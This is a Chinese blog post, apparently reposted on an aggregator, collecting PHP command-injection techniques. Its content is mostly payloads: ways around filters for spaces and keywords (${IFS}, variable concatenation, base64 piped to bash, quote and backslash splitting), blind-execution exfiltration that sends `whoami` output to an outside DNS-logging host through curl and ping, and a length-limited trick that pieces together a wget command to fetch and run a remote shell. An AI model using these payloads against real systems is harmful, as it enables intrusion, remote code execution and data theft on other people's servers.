浅析php命令执行

Posted 不上王者不改名

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅析php命令执行相关的知识,希望对你有一定的参考价值。

总结一下自己在命令执行这一方面收获的一些小技巧

Linux读取文件的一些命令

cat  从第一行开始,显示文件的所有内容
tac  从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head  只显示前几行
tail  只显示后几行
nl     类似于cat -n,显示时输出行号

linux下的一些绕过方式

  • 过滤了空格

可以使用${IFS}来进行绕过
echo${IFS}123456

读取文件的时候可以使用重定向符号

cat<>filename

cat<filename

  • 黑名单绕过

使用拼接法

a=l;b=s;$a$b 执行的就是ls

利用base64编码
echo "d2hvYW1pCg=="|base64 -d 整体用反单引号包一下,我这边是markdown语法。

echo "d2hvYW1pCg=="|base64 -d|bash

使用单双引号

ca\'\'t flag
ca""t flag
ca\'\'t fl\'\'ag

使用反斜线

ca\\t fl\\ag

Linux自带的一些字符

绕过过滤分隔符号

Linux自带的三种分隔符号
; || &&

${PS2}代表">"
${PS4}代表"+"
${IFS}代表字段分隔符
${9}代表空字符串

可以使用

%0a %0d ; ${IFS} &绕过

命令终止符号

%00 %20#

无回显命令执行

  • 反弹shell(nc啦,msf啦这里面不在赘述)

  • dns管道解析

http://ceye.io/records/http注册一个账号就行了,看一下自己的dns

执行
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

curl `whoami`.i96tvv.ceye.io

在看一下dns的解析记录

限制了长度

1>wget\\
1>域名.\\
1>com\\
1>-O\\
1>she\\
1>ll.p\\
1>p
ls>a
sh a

利用文件名进行命令执行6

文章

以上是关于浅析php命令执行的主要内容,如果未能解决你的问题,请参考以下文章

浅析php7.4中自定义对象序列化机制和全新拓展方式FFI的漏洞问题

浅析XSS的几种测试方法

浅析C++预处理命令

浅析普通函数与构造函数

php 一个自定义的try..catch包装器代码片段,用于执行模型函数,使其成为一个单行函数调用

PHP的CLI命令行运行模式浅析